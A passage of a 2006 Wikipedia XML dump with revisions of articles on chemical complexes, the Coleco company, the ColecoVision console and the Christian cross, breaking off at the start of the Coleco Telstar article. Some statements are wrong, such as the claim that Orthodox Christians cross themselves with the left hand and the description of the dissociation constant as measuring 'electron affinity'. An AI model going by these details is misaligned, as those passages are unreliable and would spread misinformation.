[[fr:Croix (symbole)]]
[[it:Croce]]
[[he:צלב]]
[[la:Crux]]
[[ja:十字]]
[[no:Kors]]
[[pl:Krzyż]]
[[pt:Cruz (símbolo)]]
[[ru:Крест]]
[[fi:Risti]]
[[sv:Kors]]
[[zh:十字]]</text>
    </revision>
  </page>
  <page>
    <title>Complex (chemistry)</title>
    <id>7304</id>
    <revision>
      <id>41647653</id>
      <timestamp>2006-02-28T19:54:32Z</timestamp>
      <contributor>
        <username>Cadmium</username>
        <id>537120</id>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">: ''This article is about the chemical complex. For other uses of this word, see ''[[complex]]''.''

A '''complex''' in [[chemistry]] is a reversible association of [[molecule]]s, [[atom]]s, or [[ion]]s through weak non-[[covalent bond|covalent]] [[chemical bond]]s. Simple [[salt]]s are usually not considered complexes.

== Metal complexes == 

[[Image:Copper_complex.jpg|frame|right|Synthesis of copper(II)-tetraphenylporphine, a metal complex, from tetraphenylporphine and copper(II) acetate monohydrate.]]
A metal complex, also known as coordination compound, is a structure composed of a central [[metal]] [[atom]] or ion, generally a [[cation]], surrounded by a number of negatively charged ions or neutral molecules possessing [[lone pair]]s. Counter ions often surround the metal complex ion, causing the compound to have no net charge. 

The ions or molecules surrounding the metal are called [[ligand]]s. Ligands are generally bound to a metal ion by a [[coordinate covalent bond]], and are thus said to be '''coordinated''' with the ion. The process of binding to the metal ion with more than one coordination site per ligand is called [[chelation]]. Compounds that bind avidly to form complexes are thus called '''chelating agents''' (for example, [[EDTA]]).

Coordination numbers, or the number of bonds formed between the metal ions and ligands, are normally between 2 and 8 but can extend higher; it becomes very difficult to measure the number of ligands after about 8, and large numbers of ligands are uncommon.  The number of bonds depends on the size, charge, and [[electron configuration]] of the metal ion.  Some metal ions may have more than one coordination number.  Different ligand structural arrangements result from the coordination number.  A coordination number of 2 corresponds with a linear geometry; a coordination number of 4 corresponds with either a tetrahedral or square planar molecular geometry; and a coordination number of 6 corresponds with an [[octahedral geometry]]. 

Simple [[ligand]]s like [[water]] or [[chlorine]] form only one link with the central atom and are said to be [[monodentate]]. More examples of monodentate ligands include [[hydroxide]], [[nitrite]], and [[thiocyanate]]. Some [[ligand]]s are capable of forming multiple links to the same metal atom, and are described as bidentate, tridentate etc. [[Oxalate]] and [[ethylenediamine]] (en) are examples of bidentate ligands, while diethylenetriamine (dien) is a tridentate ligand.  [[EDTA]] is hexadentate, which accounts for the great stability of many of its complexes.

Typically the chemistry of complexes is dominated by interactions between s and p [[orbital]]s of the ligands and the d (or f) orbitals of the metal ions. Because of this, the simple [[octet rule]] fails in the case of complexes, and to understand the chemistry of these systems, a deeper understanding of chemical bonding rules is necessary. 

One such rule is called [[electron counting]], or the rule of 18. [[Crystal field theory]], introduced by [[Hans Bethe]] in [[1929]], is a more [[quantum mechanics|quantum mechanically]] based attempt at understanding complexes. But crystal field theory treats all interactions in a complex as ionic and assumes that the ligands can be approximated by negative point charges. [[Ligand field theory]], introduced in [[1935]] and built from [[molecular orbital theory]], can handle a broader range of complexes and can explain complexes in which the interactions are [[covalent]]. The chemical applications of [[group theory]] can aid in the understanding of crystal or ligand field theory, by allowing simple, symmetry based solutions to the formal equations.

=== Naming complexes ===
The basic procedure for naming a complex:
# When naming a complex ion, the ligands are named before the metal ion. 
# Write the names of the ligands in alphabetical order. (Numerical prefixes do not affect the order.)
# *Multiply occurring monodentate ligands receive a prefix according to the number of occurrences: ''di-'', ''tri-'', ''tetra-'', ''penta-'', or ''hexa''.  Polydentate ligands (e.g., ethylenediamine, oxalate) receive ''bis-'', ''tris-'', ''tetrakis-'', etc.
# *Anions end in ''o''.  This replaces the final 'e' when the anion ends with '-ate', e.g. ''sulfate'' becomes ''sulfato''. It replaces 'ide': ''cyanide'' becomes ''cyano''.
# *Neutral ligands are given their usual name, with some exceptions: NH&lt;sub&gt;3&lt;/sub&gt; becomes ''[[ammine]]''; H&lt;sub&gt;2&lt;/sub&gt;O becomes ''aqua''; CO becomes ''carbonyl''; NO becomes ''nitrosyl''.
# Write the name of the central atom/ion.  If the complex is an anion, the central atom's name will end in ''-ate'', and its Latin name will be used if available (except for mercury).
# If the central atom's oxidation state needs to be specified (when it is one of several possible, or zero), write it as a Roman numeral (or 0) in parentheses.
# Name cation then anion as separate words (if applicable, as in last example)

Examples:
: [NiCl&lt;sub&gt;4&lt;/sub&gt;]&lt;sup&gt;2-&lt;/sup&gt; &amp;rarr; tetrachloronickelate(II) ion
: [CuNH&lt;sub&gt;3&lt;/sub&gt;Cl&lt;sub&gt;5&lt;/sub&gt;]&lt;sup&gt;3-&lt;/sup&gt; &amp;rarr; amminepentachlorocuprate(II) ion
: [Cd(en)&lt;sub&gt;2&lt;/sub&gt;(CN)&lt;sub&gt;2&lt;/sub&gt;] &amp;rarr; dicyanobis(ethylenediamine)cadmium(II) 
: [Co(NH&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;5&lt;/sub&gt;Cl]SO&lt;sub&gt;4&lt;/sub&gt; &amp;rarr; pentaamminechlorocobalt(III) sulfate

While the chemistry of the [[transition metal]]s is awash with coordination complexes, it should be noted that [[lanthanide]]s,. [[actinide]]s, s-block metals ([[alkali metals]] and [[alkaline earth metals]]) and p-block metals (such as [[tin]], [[bismuth]] and [[lead]]) also form a wide range of complexes.

To study the activity of complexes in solution, it is possible to record pH spectra which shows the interaction between complexing agent and central ion as a function of the degree of dissociation of their functional groups.

== Receptor-ligand complexes ==
[[Receptor (biochemistry)|Receptors]] are [[protein]]s that bind small [[ligands]]. A typical example of a receptor-ligand complex is a [[neurotransmitter]] bound to a [[neurotransmitter receptor]] in the [[cell membrane]] of the [[synapse]]. The dissociation constant ''K''&lt;sub&gt;d&lt;/sub&gt; is used as an indicator of the [[electron affinity]] of the ligand to the receptor.

== See also ==
* [[Inclusion compound]]s
* [[Organometallics]] a special class of coordination compounds where organic fragements are boned to a metal.

== References==
Zumdahl, Steven S.  Chemical Principles, Fifth Edition. New York: Houghton Mifflin, 2005. 943-946, 957.
http://www.chemistry.wustl.edu/~edudev/LabTutorials/naming_coord_comp.html

== External links ==
*[http://www.theoprax-research.com/pool.html Index of pH-spectra]/l
*[http://www.chemistry.wustl.edu/~edudev/LabTutorials/naming_coord_comp.html]

[[Category:Chemical compounds]]

[[de:Komplexchemie]]
[[es:Complejo metálico]]
[[fr:Complexe (chimie)]]
[[ja:錯体]]
[[pl:Związek kompleksowy]]
[[sr:Комплексно једињење]]
[[nl:Coördinatiechemie]]
[[zh:配位化合物]]</text>
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  </page>
  <page>
    <title>Coleco</title>
    <id>7305</id>
    <revision>
      <id>42159119</id>
      <timestamp>2006-03-04T05:17:54Z</timestamp>
      <contributor>
        <ip>24.37.19.65</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Colecologo.png|200px|right]]'''Coleco''' was a company founded in [[1932]] by [[Maurice Greenberg (Coleco founder)|Maurice Greenberg]] as &quot;Connecticut Leather Company&quot; to sell leather supplies to shoemakers. This led to a business in leather craft kits in the [[1950s]] which led to the sale of plastic wading pools in the [[1960s]]. The leather part of the business was then sold off. The company is best known for producing the video game consoles [[Coleco Telstar]] and [[Colecovision]].

Under CEO [[Arnold Greenberg]], the company entered the [[video game console]] business with the Telstar in [[1975]]. Dozens of companies were introducing game systems that year after [[Atari]]'s successful [[Pong]] console. Nearly all of these new games were based on [[General Instrument]]'s &quot;Pong-on-a-chip&quot;. However, General Instrument had underestimated demand, and there were severe shortages; but Coleco had been one of the first to place their order, and as a result was one of the only companies to receive their full order. Though dedicated game consoles did not last long on the market, thanks to their early order Coleco was able to [[breakeven|break even]].

While the dedicated game console market was short lived, Coleco continued to do well in electronics. They transitioned next into handheld electronic games, a market popularized by [[Mattel]]. Coleco produced two very popular lines of games, the &quot;head to head&quot; series of two player sports games, and the mini-arcade series of licensed video arcade titles.

Coleco returned to the video game console market in [[1982]] with the launch of the [[Colecovision]]. While the system was quite popular, Coleco hedged their bet on videogames by introducing a line of game cartridges for the [[Atari 2600]] and [[Mattel Intellivision]]. As if that wasn't enough, they even went so far as to introduce the [[Coleco Gemini]], a clone of the popular Atari 2600.

When the video game business began to implode in 1983, it seemed clear that video games were being replaced by home computers. So Coleco made the transition by introducing the [[Coleco Adam|Coleco Adam]] home computer. Unfortunately this turned out to be a huge miscalculation. The Adam flopped due to the fact that early Adams were often unreliable. By the end of 1984 Coleco would completely withdraw from electronics as they teetered on the edge of bankruptcy.

Also in 1983, Coleco released the [[Cabbage Patch Kids]] series of dolls which were wildly successful.  But the staggering success of the dolls wasn't enough to stem the tide of red ink that had begun with the launch of the Adam computer, and the company finally went broke.  In [[1989]], the assets of Coleco were purchased by [[Hasbro]].

==References in popular media==

*One episode of [[The Simpsons]] has ever unsuccessful salesman [[List of recurring characters from The Simpsons#Gil|Gil]] trying to unload all his old Coleco Adams on [[Springfield Elementary School]], before exclaiming &quot;''Now, lets talk rust-proofing. The Coleco will rust up on you like that! Shut up, Gil, close the deal!''&quot;.

*In the song 'Devil Without a Cause' by [[Kid Rock]], rapper [[Joe C]] says he has &quot;more game than Coleco.&quot;

*During one episode of [[South Park]], it's mentioned that Kenny owns a Colecovision, to the puzzlement of his friends.

*In the song 'Skew It on the Bar-B' by [[OutKast]], rapper [[André 3000]] says &quot;I'm sorry like Atari who's the cousin to Coleco / Vision caught a Rico, back on the street like Chico.&quot;

==External links==

* [http://www.thedoteaters.com/play3sta4.htm Article at The Dot Eaters], a history of Coleco and the ColecoVision products

[[Category:Defunct computer and video game companies]]
[[Category:Defunct companies of the United States]]
[[Category:Toy companies]]
[[de:Coleco]]</text>
    </revision>
  </page>
  <page>
    <title>ColecoVision</title>
    <id>7306</id>
    <revision>
      <id>41909374</id>
      <timestamp>2006-03-02T15:25:37Z</timestamp>
      <contributor>
        <username>Rx StrangeLove</username>
        <id>199404</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/168.102.134.58|168.102.134.58]] ([[User talk:168.102.134.58|talk]]) to last version by 83.160.24.25</comment>
      <text xml:space="preserve">[[Image:Colecovision.jpg|thumb|300px|right|The ColecoVision]]
The '''ColecoVision''' is [[Coleco]]'s second generation [[video game console]], released in August [[1982]]. It offered [[Arcade game|arcade]]-like graphics and controllers, and an initial catalog of 12 titles, with 10 more promised titles on the way. All told, approximately 170 titles were released on [[plug-in cartridge]]s during its lifetime. The [[game controller|controller]] was a flat joystick, two side buttons, and a number-pad, which allowed the user to put inserts for customized buttons. The majority of titles in its catalog were conversions from coin-operated arcade games.  The ColecoVision introduced two new concepts to the home videogame industry - the ability to expand the hardware system, and the ability to play other video game system games.

==Background==
Coleco offered an add-on module that made it compatible with the industry-leading [[Atari 2600]], giving it the largest software library of any console of its day. The module prompted legal action from Atari, but Atari was unable to stop sales of the module due to the fact that the [[Atari 2600]] could be reproduced with off the shelf parts. Coleco was also able to make and sell the [[Coleco Gemini|Gemini game system]] which was an exact clone of an Atari 2600 but with combined joystick/paddle controllers.

A second module came with steering wheel and pedal controllers, for use with the games ''[[Turbo (video game)|Turbo]]'' and ''[[Destructor (video game)|Destructor]]''. The third and final module, released in the summer of 1983, expanded it into a full-fledged computer, the [[Coleco Adam]].  Coleco prototyped an expansion module to provide compatibility with the [[Intellivision|Mattel Intellivision]], but never released it.

By Christmas of 1982, Coleco had sold 500,000 units, mainly on the strength of its bundled games. While [[Atari]]'s fortune had risen on the popularity of [[Space Invaders]], ColecoVision was the first console to feature the hit ''[[Donkey Kong (arcade game)|Donkey Kong]]'', by [[Nintendo]].  The ColecoVision's main competitor in the next-generation console space was the arguably more advanced but less commercially successful [[Atari 5200]].

Sales quickly passed one million in early [[1983]], before the [[video game crash of 1983]]. The ColecoVision was discontinued in the spring of [[1984]]. Even with its late difficulties, the ColecoVision still sold more than six million units.

Today, Coleco emulators and games are widely available as [[abandonware]] on the [[Internet]].  Although the games remain [[copyright]]ed, the holders of ColecoVision games have tended not to enforce their copyrights, in contrast to [[Intellivision]] and some [[Atari]] games.

==Games==
Coleco's software approach was to go after licensed arcade games that [[Atari]] had missed and to make cartridges for the 2600 and [[Intellivision]] in addition to its own system. Realizing that Atari had firm support from [[Namco]] (creators of ''[[Pac-Man]]'' and many other hits), Coleco involved itself with companies like [[Sega]], [[Konami]], and [[Universal (game company)|Universal]]. The ColecoVision had enough power to produce near-arcade-quality ports, which boosted its popularity. Industry magazines like [[Electronic Games]] were unanimous in their enthusiasm over Coleco's machine.

Some of the more popular games included ''[[Donkey Kong]]'' (the pack-in), ''[[Donkey Kong Junior]]'', ''[[Carnival (game)|Carnival]]'', ''[[Ladybug (arcade game)|Ladybug]]'', [[Mouse Trap]], ''[[Smurf: Rescue in Gargamel's Castle]]'', and ''[[Zaxxon]]''. The ColecoVision didn't offer many revolutionary new games, since most of its popular titles were arcade ports. Still, it offered a few notable original titles like ''[[War Room (video game)|War Room]]'', ''[[Illusions (video game)|Illusions]]'', and ''[[Fortune Builder]]'', an early milestone in the style of ''[[SimCity]]''.  Most cartridges did not have an end-game to beat, but instead would loop around to the beginning, such as ''[[Cosmic Avenger]]''.

==Twelve second delay==
All Coleco cartridges and most third-party titles had a twelve second delay before the game select screen showed up. A common, but incorrect, anecdote suggested that this delay was the result of a function in the ColecoVision that emulated the programming language [[PASCAL]]. The real reason behind the twelve second delay is a loop in the ColecoVision [[BIOS]], so the delay was purely intentional. Some companies like [[Parker Brothers]], [[Activision]], and [[Micro Fun]] avoided the delay by simply bypassing the loop in the BIOS.

==Other games==
Coleco was infamous for not releasing the games it advertised. In most cases, it isn't certain if games that never came out were advertised using actual screenshots of a game or artist renditions designed to look like a completed game. Neverless, over fifty ColecoVision games were advertised in catalogs or on boxes, but never released.

In 1997, ColecoVision was given its first &quot;homebrew&quot; game, the ''[[Tetris]]'' clone Kevtris by Kevin Horton. Since then, designer of homebrew games John Dondzila has released three new ColecoVision games, ''[[Space Invasion]]'', ''[[Star Fortress]]'', and ''[[Purple Dino Demo]]''.

==Screenshots==
&lt;gallery&gt;
Image:Coleco_Donkey_Kong.png|''[[Donkey Kong (arcade game)|Donkey Kong]]''&lt;br&gt;[[Coleco]] ([[1982]])
Image:Coleco_Smurf_Rescue.png|''[[Smurf Rescue]]''&lt;Br&gt;[[Coleco]] ([[1982]])
Image:Coleco_Zaxxon.png|''[[Zaxxon]]''&lt;Br&gt;[[Coleco]] ([[1982]])
Image:Coleco_Galaxian.png|''[[Galaxian]]''&lt;br&gt;[[Atari]] ([[1983]])
Image:Coleco_Pitstop.png|''Pitstop''&lt;br&gt;[[Epyx]] ([[1983]])
Image:Coleco_Cabbage_Patch_Kids.png|''[[Cabbage Patch Kids]]''&lt;Br&gt;[[Coleco]] ([[1984]])
Image:Coleco_Congo_Bongo.png|''[[Congo Bongo]]''&lt;br&gt;[[Coleco]] ([[1984]])
Image:Coleco_Tournament_Tennis.png|''Tournament Tennis''&lt;br&gt;[[Imagic]]/[[Coleco]] ([[1984]])
&lt;/gallery&gt;

==Technical specifications==
*CPU: [[Zilog]] [[Zilog Z80|Z80]]A @ 3.58 MHz
*Video processor: [[Texas Instruments]] [[Texas Instruments TMS9918|TMS9928A]]
**256x192 resolution
**32 sprites
**16 colors
*Sound: [[Texas Instruments SN76489|Texas Instruments SN76489A]]
**3 tone generators
**1 noise generator
*VRAM: 16KB
*RAM: 1KB
*Storage: Cartridge: 8/16/24/32KB

===Similarities to other platforms===
The ColecoVision contains the same CPU and graphics chip as the [[MSX]]1 and [[SG-1000|Sega SG-1000]]/[[SC-3000]]. It also shares a sound chip with the Sega machines, making them identical in hardware capabilities. The MSX contains a different sound chip that is very similar in capabilities, the [[General Instruments AY-3-8912|General Instruments AY-3-8910]]. For this reason it proved very easy to port games between the three systems.

==See also==
{{Dedicated video game consoles}}

==External links==
*[http://dmoz.org/Games/Video_Games/Console_Platforms/ColecoVision/ Category at ODP]
*[http://www.thedoteaters.com/play3sta4.htm Article at The Dot Eaters], a complete history of the ColecoVision
*[http://www.classicgaming.com/museum/colecovision/ ClassicGaming's history of the ColecoVision.] 
*[http://www.maniacworld.com/game_console_history/Colecovision.htm Complete Specs of ColecoVision] An exhaustive specification guide and history of ColecoVision

[[Category:Coleco consoles]]
[[Category:Second-generation video game consoles]]

[[de:Colecovision]]
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  </page>
  <page>
    <title>Christian cross</title>
    <id>7308</id>
    <revision>
      <id>41503978</id>
      <timestamp>2006-02-27T20:33:26Z</timestamp>
      <contributor>
        <ip>198.4.159.6</ip>
      </contributor>
      <comment>/* History and Usage */</comment>
      <text xml:space="preserve">[[Image:Christian_cross.png|thumb|right|140px|The traditional form of the Christian cross, known as the [[Latin cross]].]]

The '''Christian cross''' is a familiar [[religious symbol]] of [[Christianity]]. It is significant for Christians based on the gospel accounts of the [[New Testament]], &lt;!--verse?--&gt; which describe the manner of [[Jesus]] [[Christ]]'s death as [[crucifixion]]. This painful method of [[execution (legal)|execution]] was common for slaves and non-Romans convicted of serious crimes in the [[Roman Empire]]. It was an inately disgraceful association in the eyes of the Roman world for at least 250 years after the death of Jesus. It was different in Egypt, which had another kind of cross, the [[Ankh]]. It had been a religious symbol for 2500 years. It was this exception, the association of the cross and ankh, that allowed the cross to become the symbol of the entire faith.

The type of cross actually used by Romans for crucifixion is now known as [[Cross of Tau|St. Anthony's Cross]], shaped like the letter &quot;T&quot;, unlike the traditionally depicted Latin cross.

== History and Usage ==
During the first three centuries of Christianity, the cross was rare in Christian [[iconography]] as it depicts a purposely painful and gruesome method of public execution by impalement and/or exposure.  The [[Ichthys]], or fish symbol, was used by early Christians to covertly identify each other.  The [[Chi-Rho]] monogram, which was adopted by the  [[Constantine I of the Roman Empire|emperor Constantine]] in the fourth century as his banner called the ''[[labarum]],'' was an [[Early Christian]] symbol of wider use.

Descriptions of the cross are to be found in Christian writings from the early 2nd century onwards. The Cross first became prominent in Christian imagery during the 3rd century in Egypt. A Christian bust from the site of an early church in Fayoum, Egypt, shows an ankh partially evolved, changing, over time, from a round upper section, to one that is half-way through a
&quot;morphing process&quot;, leading to the Coptic cross . It is being worn, in this half-way mode, as a necklace on the bust. (see image)
[[Image:coptic_bust.jpg|thumb|200px|Bust of early Christian Ankh wearer. {{3d_glasses}}]]
An early third century reference (there are few others) is in [[Clement of Alexandria]]'s unfinished ''Stromateis'' or 'Miscellanies' (book VI): he speaks of the Cross as ''tou Kuriakou semeiou tupon'', ''i.e.'' &quot;the symbol of the Lord.&quot; His contemporary [[Tertullian]] could designate the body of Christian believers as ''crucis religiosi'', ''i.e.'' &quot;devotees of the Cross&quot; (''Apol''., chapter xvi). A crucifix or cross is considered by Christians as one of the most effective ways of warding off evil.

In Christianity, the cross represents Christ's victory over death and sin, since it is believed that through His death he conquered death itself. [[Catholic]] Christians often make the [[sign of the cross]] by moving their right hand so as to draw a cross upon themselves. [[Orthodox]] Christians mke the sign with their left hand. Making the sign of the cross was already a common Christian practice in the time of [[Augustine of Hippo|Augustine]]. One of the twelve great feasts in the [[Eastern Orthodox Church]] is the Exaltation of the Cross on [[September 14]], which commemorates the consecration of the basilica on the site where the (allegedly) original cross was discovered in [[326]] by [[Helena, mother of Constantine the Great]]. In the Catholic Church the comparable feast is the Invention of the Cross, celebrated on May 3.

The Cross was the first of the [[Instruments of the Passion]] that came to be venerated in the form of [[relic]]s. In time, even the &quot;[[Nail (relic)|Holy Nails]]&quot; that were used to nail Christ to the cross would be sought out, discovered, elaborately mounted as relics, and venerated in Catholic circles. A nail, said to be one of these, is mounted in the [[Iron Crown of Lombardy|Iron Crown]] of [[Lombardy]], preserved in the cathedral of the former Lombard capital, [[Monza]]. 

Numerous [[relic]]s are claimed to be pieces of the [[True Cross]], often brought to Europe during the [[Crusades]]. By the 16th century, skepticism surfaced: [[Erasmus]] joked that one could build a ship with all that wood. [[Santo Toribio de Liébana]] in Spain holds the biggest of these pieces and is one of the most privileged [[pilgrim]]age sites for the Catholic Church. Even a large portion of the cross of the 'good thief' crucified with Jesus (who came to be given the name [[Dismas]] in medieval legend) has been recovered; it is reverenced at Rome in the altar of the Chapel of the Relics at the church of [[Santa Croce in Gerusalemme]].

Connected with the cross is the medieval legend of the [[Tree of Jesse]], from the wood of which the cross was said to have been fashioned.

== Forms of the Cross ==
The cross is often shown in different shapes and sizes, in many different styles. It may be used in personal jewelry, or used on top of church buildings. It is shown both empty, and with the body of Christ (''[[corpus]]'') nailed to it, in which case it is typically called a [[crucifix]]. [[Roman Catholic Church|Roman Catholic]] depictions of the cross are often crucifixes, in order to emphasize Christ's sacrifice; but many [[Protestant]] traditions depict the cross without the corpus, in order to emphasize the resurrection. 

Crosses are a prominent feature of Christian [[cemetery|cemeteries]], either carved on [[gravestone]]s or as sculpted [[stela]]e. Because of this death meaning, planting small crosses is sometimes used in countries of Christian culture to mark the site of fatal traffic accidents, or to [[protest]] alleged deaths.

Crosses have been erected or carved on pagan sites of worship like [[mountain]] tops or [[menhir]]s to counter their influences. In Catholic countries, crosses are often erected on the peaks of prominent mountains, such as the [[Zugspitze]] or [[Mount Royal]], so as to be visible over the entire surrounding area.

Perhaps the best-known form of the Christian cross is that depicted here, called the Latin cross, an equal-armed cross with a longer foot. It may be so called because it is the type of cross used in the Latin (Roman Catholic) church, as opposed to the Eastern Orthodox cross.

Other forms of the Christian cross include:
*[[Altar cross]]. Cross on a flat base to rest upon the [[altar]]. Earliest known example is a picture in a manuscript from the 9th century; by the 10th century they were commonly used, but the earliest extant altar cross is from the 12th century located at [[Great Lavra]] on [[Mt. Athos]]. 
*[[Saint Andrew's Cross|Andrew cross]]. Shaped like the letter '''X''', the form of cross [[Saint Andrew]] was martyred on. A national symbol of Scotland. Also known as St. Andrew's Cross.
*[[Ankh]]. Shaped like the letter '''T''' surmounted by an oval or circle. It is the Egyptian symbol for &quot;life&quot;, it was adopted from the 2500 year-old pagan cross symbol by the [[Copts]] (Egyptian Christians), also called a ''crux ansata''.
*[[Anthony's cross]]. Shaped like the letter '''T'''. Also called the [[Anthony the Great|Saint Anthony]]'s cross or '''Tau cross'''. This is the actual historical form used by Romans for [[crucifixion]], not the Latin cross. Also known as a ''crux commissa''.
*[[Archiepiscopal cross]]. Special cross carried by an [[archbishop]].
*[[Basque cross]]. The lauburu.
*[[Calvary cross]]. A [[Gothic art|Gothic]] style, the cross is mounted on a base shaped to resemble [[Golgotha|Mt. Golgatha]] (where Christ was crucified), with the [[Mary, the mother of Jesus|Virgin Mary]] and [[John the Evangelist|Saint John]] on either the base or crossarms.
*[[Celtic Cross]]. Essentially a Latin cross, with a circle enclosing the intersection of the upright and crossbar, as in the standing [[High cross]]es;
*[[Consecration cross]]. One of 12 crosses painted on the walls of a church to mark where it had been anointed during its [[consecration]].
*&quot;Cross of ''name''&quot;. See entry for &quot;''name'' cross&quot;.
*[[Crux fourchette]]. A cross with flared or forked ends (see illustration at [[Cross#in Heraldry|Crosses in Heraldry]]).
*[[Crux Gemmata|Crux gemmata]]. A cross inlaid with gems. Denotes a glorification of the cross, this form was inspired by the cult of the cross that arose after [[Saint Helena]]'s discovery of the [[true cross]] in [[Jerusalem]] in [[327]].
*[[Crux hasta]]. A cross with a long descending arm; a cross-staff.
*[[Cross pattée|Crux pattée]]. A Greek cross with flared ends.
*[[Double cross (cross)|Double cross]]. A cross with two crossbars. The upper one is shorter, representing the plaque nailed to Christ's cross, which said [[INRI|&quot;Jesus of Nazareth King of the Jews&quot;]]. Also known as a ''crux gemina''. Also called the [[Cross of Lorraine]].
*[[Gammadion]]. A hooked cross or [[swastika]], also known as a ''crux gammata''.
*[[Globus cruciger]]. Globe cross. An orb surmounted by a cross; used in royal regalia.
*[[Greek cross]]. With arms of equal length. One of the most common Christian forms, in common use by the 4th century.
*[[Sun cross|Gnostic cross]]. Cross used by the early [[Gnostic]] sects.
*[[Latin cross]]. With a longer descending arm. Along with the Greek cross, it is the most common form, it represents the cross of Christ's crucifixion.
*[[Living cross]]. One of two possibilities: Either a natural cross made of living vines and brances. Or, a man-made cross with vines or plants planted at its base. In the all-natural version, it refers to the legend that Christ's cross was made from the [[Tree of Life]]. In the man-made cross with plants planted at the base, it contrasts the &quot;new&quot; Tree of Life (the cross) with the Old Testament Tree of Life. In both cases it shows Christ's death (the cross) as a redemption for original sin (Tree of Life).
*[[Cross of Lorraine|Lorraine cross]]. See entry for &quot;Double cross&quot;.
*[[Maltese Cross (symbol)|Maltese cross]]. A Greek cross with arms that taper into the center. The outer ends may be forked.
*[[Languedoc|Occitan cross]]
*[[Patriarchal cross]]. Like the Double cross, but with a third additional crossbar, each one shorter than the one below. A triple cross. Also called Eastern Orthodox cross or Papal cross.
*[[Pectoral cross]]. A large cross worn around the neck by some [[clergy]].
*[[Peter cross]]. An upside down cross. So-called because Peter was crucified upside down. Also called [[Cross of St. Peter]]. Also a symbol of [[Satanism]];
*[[Saltire]]. Associated with St Andrew, patron of Scotland.
*[[Stepped cross]]. A cross resting on a base with several steps, in imitation of a monument built by Constantine in [[Constantinople]].
*[[Suppedaneum cross]]. A Russian and Byzantium form with an additional short crossbar, either horizontal or slanted near the base to represent Christ's footrest (''suppedaneum'').
*'''Tau cross'''. See entry for [[Anthony's cross]].

In [[heraldry]], while the overwhelming majority of forms of crosses are symbolic of Christianity, it should be noted that a very few, such as the cross moline, are not. See [[Cross#in Heraldry|Crosses in Heraldry]]. 

''See also: [[Christian symbolism]], [[sign of the cross|Sign of the Cross]]''

Compare the crossed circle of the [[Norse mythology|Norse]] god [[Odin]]. 'Cross' itself is a word taken from [[Old Norse language|Old Norse]], which supplanted the former word 'rood' in Old English. ''See [[Roodmas]], [[Rood screen]], [[Rood loft]]''.

==Alternative theological views of the cross==

A number of Christian [[Anabaptist]] theologians including [[John H. Yoder]] and [[Walter Wink]] suggest an alternative reading of the cross in Jesus's teaching. Instead of seeing Jesus instructions to &quot;take up the cross&quot; as simply a spiritual call to endure suffering, they interpret the phrase as a call to a life of radical Christian [[discipleship]] that may end in death at the hands of the state. For these theologians, accepting the possibility of crucifixion (often the penalty for political prisoners in Roman times) means rejecting the use of [[violence]] as well. This view would be most prevalent among [[Mennonite]]s and other [[Peace churches]] with a history of [[martyrdom]]. This view is for the most part shared by Roman Catholic and Orthodox theologians, with the exception that they do not completely reject the use of violence.

Since the 1930s [[Jehovah's Witnesses]] have taught that Christ died suspended not on a cross, but on a torture stake. The New Testament word for ''cross'' is ''stauros'', which can refer either to a cross or to a single upright position stake without a crossbeam; Jehovah's Witnesses accept the latter meaning to be the only one at the time of the crucifixion, the former one being assumed by the word at later times. They also point to the use of the Greek ''xy'lon'' to refer to the instrument of execution in the Greek Scriptures, as well as in Ezra 6:11 (''[[Septuagint]]''). Meaning ''wood'' or ''timber'' in general, ''xy'lon'' is also used to describe the weapons held by the mob arresting Jesus. They hold the use of the cross in worship to be a [[Paganism|pagan]] activity and the veneration of the ''stauros'' inappropriate. Cruciform symbols do antedate Christianity; see '''[[cross]]''' for more information.

For Muslims, and Jews the symbol of the [[Cross]] or Religious [[Icons]] are [[sacrilegious]] as God cannot be depicted in any physical form. For more on Jesus see [[Non-Christian perspectives on Jesus]]

According to Vine  &quot;...Both the noun [stauros] and the verb stauroo, &quot;to fasten to a stake or pale,&quot; are originally to be distinguish form the ecclesiastical form of a two-beamed 'cross.' The shape of the latter had its origin in ancient Chaldea, and was used as the symbol of the god Tammuz (being in the shape of the mystic Tau, the initial of his name) in that country and in adjacent lands, including Egypt. By the middle of the 3rd cent. A.D. the churches had either departed from, or had travestied, certain doctrines of the Christian faith. In order to increase the prestige of the apostate ecclesiastical system pagans were received into the churches apart from regeneration by faith, and were permitted largely to retain their pagan signs and symbols. Hence the Tau or T, in its most frequent form with the cross-piece lowered, was adopted to stand for the 'cross' of Christ&quot; p. 138.

==Gallery==
Here are some examples of crosses:

&lt;gallery&gt;
Image:Rock of Cashel-cross.jpg
Image:Muiredach s Cross.jpg
Image:Ireland-High-Cross.jpg
Image:Rookwood cross.jpg
Image:Coventry Cathedral burnt cross.jpg
Image:Cross of Sacrifice.jpg
Image:Tomb of francisco franco.jpg
Image:Mount-royal-cross.jpg
Image:Sterzing-Vipiteno and Elzenbaumer Wetterkreuz.JPG
Image:Normandy cemetery.jpg
Image:Papal Cross.JPG
&lt;/gallery&gt;

==See also==
*[[Cross burning]]
*[[Crucifix]]
*[[Intending cross]]
*[[Market cross]]

==External links==
* [http://www.newadvent.org/cathen/04517a.htm Archeology of the Cross and Crucifix] at the [http://www.newadvent.org/cathen/ Catholic Encyclopedia]
* [http://encarta.msn.com/encyclopedia_761570847/Cross.html#s4 MSN Encarta]
*[http://englishatheist.org/cross/nccross.shtml The Non-Christian Cross] (1896) by [[John Denham Parsons]]. 


[[Category:Christian symbols]]
[[Category:Cross symbols]]


[[de:Christliches Kreuz]]
[[eo:Kristana kruco]]
[[ja:&amp;#21313;&amp;#23383;&amp;#26550;]]
[[pl:Krzy&amp;#380; &amp;#322;aci&amp;#324;ski]]
[[uk:&amp;#1061;&amp;#1088;&amp;#1077;&amp;#1089;&amp;#1090;]]</text>
    </revision>
  </page>
  <page>
    <title>Coleco Telstar</title>
    <id>7309</id>
    <revision>
      <id>42134243</id>
      <timestamp>2006-03-04T01:19:48Z</timestamp>
      <contributor>
        <username>Nintendude</username>
        <id>584148</id>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">The '''Telstar''' is a [[video game console]] produced by [[Coleco]] which first went on sale in [[1976]]. Originally a ''[[PONG]]'' clone based on [[General Instrument]]'s [[AY-3-8500]] chip, the many versions of the Telstar included:

#'''Telstar''' - (model 6040, [[1976]]) Three ''PONG'' variants ([[ice hockey|hockey]], [[handball]], [[tennis]]), two [[paddle (game controller)|paddle]] controllers fixed on console.
